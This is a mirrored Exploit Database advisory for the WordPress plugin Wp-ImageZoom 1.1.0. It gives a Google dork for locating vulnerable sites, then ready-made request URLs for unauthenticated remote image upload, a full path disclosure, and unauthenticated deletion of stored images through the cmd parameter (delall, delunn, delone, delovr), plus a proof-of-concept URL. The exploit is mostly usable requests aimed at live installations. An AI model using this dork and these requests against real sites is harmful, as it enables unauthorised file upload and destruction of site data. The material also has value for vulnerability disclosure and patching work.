WordPress Plugin Wp-ImageZoom 1.1.0 – Multiple Vulnerabilities

• Exploit Database
• 122 阅读

• 作者： T3N38R15
  日期： 2015-06-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37243/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32

  # Exploit Title: wp-imagezoom Remote Image Upload # Google Dork: filetype:php inurl:"/wp-content/plugins/wp-imagezoom" & inurl:"?id=" # Date: 06.06.2015 # Exploit Author: T3N38R15 # Software Link: https://downloads.wordpress.org/plugin/wp-imagezoom.1.1.0.zip # Version: 1.1.0 # Tested on: Windows (Firefox) Linux (Firefox)   The affected file is the div_img.php it allowed anybody to upload jpg files. /wp-content/plugins/wp-imagezoom/div_img.php?src=http://domain.com/img.jpg&cl=100&dl=100 would upload the file to the default directory : /wp-content/plugins/wp-imagezoom/work/http_cln__sls__sls_domain.com_sls_img.jpg/ the first one is then your picture ( it is only 469x469 the rest is cut out ), the other are zoomed/cuttet version of it.   it also support a FPD : http://domain.com/wp-content/plugins/wp-imagezoom/div_img.php?src= the variable org_img have the value of the current location to the work directory.   We can also delete entry's with http://domain.com/wp-content/plugins/wp-imagezoom/div_img.php?cmd= following options are avaliable for the cmd parameter : http://domain.com/wp-content/plugins/wp-imagezoom/div_img.php?cmd=delall http://domain.com/wp-content/plugins/wp-imagezoom/div_img.php?cmd=delunn http://domain.com/wp-content/plugins/wp-imagezoom/div_img.php?cmd=delone&src=yourwisheddeleted http://domain.com/wp-content/plugins/wp-imagezoom/div_img.php?cmd=delovr&maxsize=size of image   Proof of concept : http://domain.com/wp-content/plugins/wp-imagezoom/div_img.php?src=http://static.zerochan.net/Frankenstein.(Noblesse).full.415661.jpg&cl=100&dl=100   Greets to Team Madleets/leets.pro & VIRkid ;) Regards T3N38R15